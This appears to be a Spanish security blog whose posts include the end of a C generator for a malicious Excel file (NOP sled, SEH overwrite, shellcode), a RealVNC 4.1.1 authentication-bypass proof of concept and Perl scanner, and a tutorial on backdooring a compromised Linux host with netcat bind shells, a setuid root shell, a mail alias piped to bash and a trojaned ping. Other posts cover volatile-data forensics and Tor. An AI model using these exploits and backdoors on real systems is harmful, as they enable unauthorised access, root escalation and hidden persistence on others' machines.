0x00, 0xCC, 0x99, 0xFF, 0x00, 0xFF, 0xCC, 0x99, 0x00, 0x33, 0x66,
0xFF, 0x00, 0x33, 0xCC, 0xCC,
0x00, 0x99, 0xCC, 0x00, 0x00, 0xFF, 0xCC, 0x00, 0x00, 0xFF, 0x99,
0x00, 0x00, 0xFF, 0x66, 0x00,
0x00, 0x66, 0x66, 0x99, 0x00, 0x96, 0x96, 0x96, 0x00, 0x00, 0x33,
0x66, 0x00, 0x33, 0x99, 0x66,
0x00, 0x00, 0x33, 0x00, 0x00, 0x33, 0x33, 0x00, 0x00, 0x99, 0x33,
0x00, 0x00, 0x99, 0x33, 0x66,
0x00, 0x33, 0x33, 0x99, 0x00, 0x33, 0x33, 0x33, 0x00, 0x85, 0x00,
0x0E, 0x00, 0x22, 0x04, 0x00,
0x00, 0x00, 0x00, 0x06, 0x00, 0x53, 0x68, 0x65, 0x65, 0x74, 0x31,
0xFC, 0x00, 0x0F, 0x00, 0x01,
0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x4C,
0x49, 0x4E, 0x4B, 0x0A, 0x00,
0x00, 0x00, 0x09, 0x08, 0x10, 0x00, 0x00, 0x06, 0x10, 0x00, 0xBB,
0x0D, 0xCC, 0x07, 0x41, 0x00,
0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x02, 0x00, 0x00,
0x00, 0x2B, 0x00, 0x02, 0x00,
0x01, 0x00, 0x82, 0x00, 0x02, 0x00, 0x00, 0x00, 0x80, 0x00, 0x08,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x25, 0x02, 0x04, 0x00, 0x00, 0x00, 0xFF,
0x00, 0x81, 0x00, 0x02, 0x00,
0xC1, 0x04, 0x14, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x15, 0x00,
0x03, 0x00, 0x00, 0x00, 0x00,
0x83, 0x00, 0x02, 0x00, 0x00, 0x00, 0x84, 0x00, 0x02, 0x00, 0x00,
0x00, 0x26, 0x00, 0x08, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x3F, 0x27, 0x00, 0x08,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xE8, 0x3F, 0x28, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xF0, 0x3F,
0x29, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0,
0x3F, 0xA1, 0x00, 0x22, 0x00,
0x00, 0x00, 0x64, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
0x00, 0x58, 0x02, 0x58, 0x02,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x3F, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xE0, 0x3F,
0x01, 0x00, 0x55, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x02, 0x0E,
0x00, 0x00, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xFD,
0x00, 0x0A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x01, 0x62,
0x15, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xD0, 0xC9, 0xEA, 0x79, 0xF9, 0xBA, 0xCE,
0x11, 0x8C, 0x82, 0x00, 0xAA,
0x00, 0x4B, 0xA9, 0x0B, 0x02, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00,
0x00, 0xE0, 0xC9, 0xEA, 0x79,
0xF9, 0xBA, 0xCE, 0x11, 0x8C, 0x82, 0x00, 0xAA, 0x00, 0x4B, 0xA9, 0x0B
};

unsigned char stream2[] = {
0x00, 0x00, 0x00, 0x3E, 0x02, 0x12, 0x00, 0xB6, 0x06, 0x00, 0x00,
0x00, 0x00, 0x40, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0x00,
0x0F, 0x00, 0x03, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x0A, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x00, 0x6F, 0x00, 0x6F, 0x00,
0x74, 0x00, 0x20, 0x00, 0x45,
0x00, 0x6E, 0x00, 0x74, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x05, 0x00, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0xFF,
0xFF, 0xFF, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x6F, 0x00, 0x72, 0x00,
0x6B, 0x00, 0x62, 0x00, 0x6F,
0x00, 0x6F, 0x00, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 0x02, 0x00, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x8B, 0x1A, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,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0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF
};

char *filename="ExcelPOC.xls";

int main()
{
ofstream ofs;

ofs.open(filename,ios::binary | ios::out);

printf("Generating Excel File ...\n\n");

for(int z=0;z<sizeof(stream1);z++)
ofs.put(stream1[z]);

ofs.put('\x2E'); // Buffer size , that we are going to fill = 0x152E
ofs.put('\x15');
ofs.put('\0');
ofs.put('\0');


for(int i=0;i<=seh_off;i++)
ofs.put('\x90');

ofs.put('\xEB');
ofs.put('\x06');
ofs.put('\x90');
ofs.put('\x90');

for(z=0;z<4;z++)
ofs.put(ret_address[3-z]);

ofs.put('\x90');
i+=9;

for(unsigned int j=0;j<strlen((const char*)shellcode);i++,j++)
ofs.put(shellcode[j]);

for(;i<=buff_size-4;i++)
ofs.put('\x90');

for(z=0;z<sizeof(stream2);z++)
ofs.put(stream2[z]);

ofs.close();

printf("File Written ...\n\n");
return 0;
}

Posted on 8:50 p. m. by skarvin and filed under | 0 Comments »

Análisis forense - Linux: Adquisición de datos Volátiles

Los "Datos Volátiles", son aquellos que desaparecen cuando un sistema se apaga o se reinicia, por lo que extraer la máxima información de estos datos, puesto que es muy importante a la hora de recopilar pruebas cuando un sistema ha sido comprometido. Espero que este post os sea de ayuda!

Para recojer estos datos, es muy importante que en el equipo atacado, no ejecutemos ningún comando o herramienta por peligro a que pueda haber sido troyanizada. Para ello procederemos a ejecutar los binarios compilados estáticamente directamente desde un CD-ROM.

Para empezar, utilizaremos un equipo no comprometido para el almacenamiento de las pruebas en red, esto lo haremos ejecutando el siguiente comando en el equipo:

nc -l -p 9000 > data.dat

Así, pondremos a la escucha un puerto donde le iremos enviando la información desde la máquina comprometida.

Procederemos a listar los ficheros abiertos por los procesos para así detectar algún proceso/fichero sospechoso:

/mnt/cdrom/lsof -n | /mnt/cdrom/nc -w 3 IP 9000


Listamos las conexiones establecidas por los procesos:

/mnt/cdrom/netstat -nap | /mnt/cdrom/nc -w 3 IP 9000


Además, listamos la tabla de rutas:
/mnt/cdrom/netstat -nr | /mnt/cdrom/nc -w 3 IP 9000

Es importante hacer un análisis de puertos desde una máquina externa i compararla con la salida de netstat para poder asegurarnos que no hemos perdido de vista ningún proceso escuchando en ningún puerto, para ello usaremos nmap:

nmap -sS -p 1- IP_COMPROMETIDO


Listamos los ficheros que han sido eliminados pero que aún siguen abiertos por algún proceso en ejecución, esta utilidad, la encontraremos en el conjunto de herramientas de análisis forense The Coroner's Toolkit:

/mnt/cdrom/ils -o /dev/hda1 | /mnt/cdrom/nc -w 3 IP 9000

Listamos los procesos en ejecución:

/mnt/cdrom/ps -el | /mnt/cdrom/nc -w 3 IP 9000

Si mediante la orden anterior, encontráramos algún proceso sospechoso, podríamos analizarlo con la siguiente herramienta (también disponible en The Coroner's Toolkit).

/mnt/cdrom/pcat | /mnt/cdrom/nc -w 3 IP 9000

Listaremos los usuarios conectados en el sistema:

/mnt/cdrom/who -uHl | /mnt/cdrom/nc -w 3 IP 9000


Para finalizar guardamos el proc, en el cual obtendremos información acerca de los procesos:

/mnt/cdrom/tar cf - /proc | /mnt/cdrom/nc -w 3 IP 9000

Con estos pasos, habremos recopilado mucha información acerca de la intrusión. Para hacer un análisis más exaustivo, habríamos de recopilar datos no volátiles mediante herramientas de Integridad de Ficheros, localización de ficheros borrados, tiempos MAC, etc... de los cuales hablaré en un siguiente post.


Referencias:
Know your enemy:: Honeynet Project
Posted on 12:17 a. m. by skarvin and filed under | 1 Comments »

Prueba de Concepto: explotar el fallo de autentificación del servidor VNC de RealVNC 4.1.1.

Primero deberemos obtener las fuentes para poder modificarlas desde la web de RealVNC en este link: http://www.realvnc.com/cgi-bin/download.cgi y descargándonos VNC Free Edition Source Code for Java Version 4.1.


Una vez obtenidas las fuentes, procederemos a modificarlas. Para ello accederemos al fichero vnc-4_1-javasrc\java\rfb\CConnection.java, editamos el fichero y accedemos a la linea 229, donde encontraremos el siguiente código:


if (secType != SecTypes.invalid) {

os.writeU8(secType);

os.flush();

vlog.debug("Choosing security type "+SecTypes.name(secType)+

"("+secType+")");

}

}


Pues bien, este exploit es tan simple como añadir la siguiente línea:

if (secType != SecTypes.invalid) {

secType = SecTypes.none;

os.writeU8(secType);

os.flush();

vlog.debug("Choosing security type "+SecTypes.name(secType)+

"("+secType+")");

}

}



Voilá, ahora solo tenemos que compilar y ejecutar vncviewer mediante:

java.exe -jar vnc-4_1-javasrc\java\vncviewer.jar

La autentificación se salta y accedemos al equipo.

Posted on 12:28 a. m. by skarvin and filed under | 2 Comments »

Abriendo una puerta trasera: algunos métodos con más o menos dificultad

Cuando un hacker penetra en un sistema debido a una falla de seguridad, o cuando momentáneamente poseemos privilegios de root, muchas veces se tiene la necesidad de “garantizar” un posible retorno a dicho sistema. Existen varios métodos para crear lo que se llama una puerta trasera o backdoor por la que se pueda acceder a él. A continuación os explicaré unos cuantos más o menos complicados.

El método más simple para crear una puerta trasera es mediante la utilización de Netcat.

Netcat es una herramienta GNU la cual nos permite leer y escribir a través de conexiones de red utilizando los protocolos TCP o UDP.

Pues bien Netcat nos ofrece una opción “-e” la cual nos asocia un programa a la conexión que establecemos:

$ nc -l  localhost -p 1234 -e /bin/bash

Ésta es sin duda, la forma más simple que conozco para crear una puerta trasera. Solamente necesitaríamos establecer conexión mediante telnet a máquina comprometida al puerto 1234 y obtendríamos una shell.

Los 2 siguientes métodos que os voy a describir son un tanto anticuados, pero por eso no dejan de ser curiosos.

Para éste backdoor, emplearemos un poco de programación en C. Para ello, haremos uso de éste simple programa, os recuerdo que para que este código funcione deberéis ser usuario root.

#include <unistd.h>

#include <stdlib.h>

main (){

char *cad[2];

cad[0]="/bin/bash";

cad[1]=NULL;

unsetenv("HISTSIZE"); //eliminamos el historial

setuid(0);

setgid(0);

execve(cad[0], cad, NULL);

return 0;

}

Compilamos el código:

$ gcc back.c –o back

Una vez compilado, deberemos activar el bit de setuid del fichero resultante de la compilación de este modo:

$ chmod +s back

Así, si entramos al sistema como un usuario normal, nada más tendremos que ejecutar el ./back para obtener privilegios de root.

En éste método haremos uso del fichero /etc/aliases o /etc/mail/aliases en el cual se encuentran todas las redirecciones a las cuentas de correo creadas en el sistema, el fichero tiene esta estructura:

usenet: news

ftpadm: ftp

ftpadmin: ftp

ftp-adm: ftp

ftp-admin: ftp

hostmaster: root

mail: postmaster

postman: postmaster

post_office: postmaster

Como se puede ver, se redirigen los mails que llegan a las cuentas de la izquierda a las de la derecha. Siguiendo este formato, es posible redirigir también un mensaje a una instrucción de shell:

post_office: “|/bin/bash”

También podríamos redirigir el correo a cualquier otro comando. Ahora, solamente tenemos que enviar un correo especialmente formado para que al enviarlo a la cuenta post_office se procese línea a línea por la shell. El correo podría tener este aspecto:

#!/bin/bash

nc –l –e /bin/bash –p 6969 > /dev/null 2>&1 &

Los métodos mostrados hasta ahora podríamos decir que son un tanto antiguos y aunque hoy en dia están en desuso, sería difícil que actualmente funcionaran aunque nos podrían servir para salir del paso.

Creación de puertas traseras a partir de la modificación de utilidades comunes de administración:

Una forma válida para crear una puerta trasera más o menos discreta, es hacer uso de aplicaciones de uso corriente y que contengan por defecto el bit SUID activado.

Podemos utilizar por ejemplo la utilidad ping que se utiliza para testar conexiones mediante el protocolo ICMP.

Para poder modificar esta utilidad, necesitaremos obtener sus fuentes. Podemos encontrarlas en esta dirección http://mrtg.planetmirror.com/pub/ip-routing/iputils-current.tar.gz .

Una vez descargado y descomprimido, localizaremos el fichero correspondiente a ping (ping.c). Abrimos el fichero y nos centraremos en la función main:

main(int argc, char **argv)

{

struct hostent *hp;

int ch, hold, packlen;

int socket_errno;

u_char *packet;

char *target, hnamebuf[MAXHOSTNAMELEN];

char rspace[3 + 4 * NROUTES + 1]; /* record route space */

icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

socket_errno = errno;

uid = getuid();

setuid(uid);

source.sin_family = AF_INET;

preload = 1;

Como vemos, las lineas:

uid = getuid();

setuid(uid);

Provocan que se pierdan los privilegios de root y se asignen los del usuario actual al programa.

if (strcmp(“skarvin”, argv[1])==0){

char *cad[2];

cad[0]="/bin/bash";

cad[1]=NULL;

setuid(0);

setgid(0);

unsetenv(“HISTFILE”);

execve(cad[0], cad, NULL);

}

Por lo que el código principal de la main en ping.c quedará de esta forma:

main(int argc, char **argv)

{

if (strcmp(“skarvin”, argv[1])==0){

char *cad[2];

cad[0]="/bin/bash";

cad[1]=NULL;

setuid(0);

setgid(0);

unsetenv(“HISTFILE”);

execve(cad[0], cad, NULL);

}

struct hostent *hp;

int ch, hold, packlen;

int socket_errno;

u_char *packet;

char *target, hnamebuf[MAXHOSTNAMELEN];

char rspace[3 + 4 * NROUTES + 1]; /* record route space */

icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

socket_errno = errno;

uid = getuid();

setuid(uid);

source.sin_family = AF_INET;

preload = 1;


Posted on 12:14 a. m. by skarvin and filed under , | 2 Comments »

Grave vulnerabilidad en RealVNC 4.1.1

Hace ya algún tiempo, se informó sobre una grave vulnerabilidad del servidor vnc de RealVNC (4.1.1). Esta vulnerabilidad puede llevar a un atacante, sin grandes conocimientos en informática y programación a poder tomar el control de un equipo con este software instalado.

Esta vulnerabilidad radica en un fallo en la autentificación que el cliente VNC envía al servidor, por lo que si el cliente modifica el tipo de autentificación, éste puede acceder sin ningún tipo de restricción por contraseña al servidor.

Se pueden ver la gran cantidad de gente que suele utilizar este software haciendo click en este link.
Y mediante este simple scanner, se puede comprobar la gravedad de este fallo:



#!/usr/bin/perl

# scan for OpenVNC 4.11 authentication bypass

use IO::Socket;

$host = $ARGV[0];
$port = $ARGV[1] || 5900;

$host or die("$0 \n");

#print "Connecting to $host:$port..."; $| = 1;
($sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',)) ? print "success!\n"
: die("failed\n");


#negotiate protocol
$sock->read($protocol_version,12);
print $sock $protocol_version;
# print "Using protocol $protocol_version";

# get security types that we'll be ignoring
$sock->read($security_types,1);
$sock->read($hahaha,unpack('C',$security_types));

# choose no authentication
print $sock "\x01";

# we should get "0000" back
$sock->read($in,4);
if(unpack('I',$in)) { die("Not vulnerable\n") };

# client initialize
print $sock "\x01";

# if the server starts sending data we are in
$sock->read($in,4);
(unpack('I',$in)) ? print("$host Vulnerable!\n") : die("Not vulnerable\n") ;

exit;

Desde aquí recomiendamos actualizar a la versión 4.2.5, disponible aquí.
Posted on 9:41 a. m. by skarvin and filed under , | 2 Comments »

Tor: Un sistema anonimo de comunicacion por Internet

Desde hace varios meses, existe a disposición de cualquier usuario, una herramienta muy útil cuando se quiere obtener acceso a Internet de manera anónima. La red Tor, es una red de tipo "Onion" por lo que cada transmisión que se envía a un host determinado, pasa por esta red dando varios saltos por diversos "servidores Tor" antes de contactar con el host final. Éste hecho hace que el host que establece la conexión con el host final no seamos nosotros, sinó que será el último "servidor Tor" el que la haga. Tor establece rutas aleatorias cada vez que el usuario accede a un recurso. Además, estas rutas

Aquí muestro unas imagen sobre como se realiza la navegación por la red de Tor:


Según la web de tor (http://tor.eff.org/) cuentan:
"El circuito se extiende un tramo cada vez y cada servidor a lo largo del camino conoce unicamente que servidor le proporciona los datos y a que servidor se los entrega. Ningun servidor individual conoce nunca el recorrido completo que ha tomado un paquete de datos. El cliente negocia un conjunto separados de claves de encriptacion para cada tramo a lo largo del circuito para asegurar que cada tramo no puede rastrear estas conexiones a medida que lo atraviesan."

Podemos utilizar cualquier programa por la red Tor, por lo que nuestro programa de mensajería, correo, navegador web, teminal Ssh, etc... podrán pasar a ser anónimos.

Existe un plugin para Firefox el cual os lo podéis bajar aquí el programa cliente de Tor os lo podéis bajar aquí.
Posted on 9:38 p. m. by skarvin and filed under | 1 Comments »

Wellcome!

Bienvenidos a este blog dedicado a la seguridad informática en el que iré publicando artículos, manuales y recursos de interés para el administrador de sistemas.
Posted on 5:10 p. m. by skarvin and filed under | 1 Comments »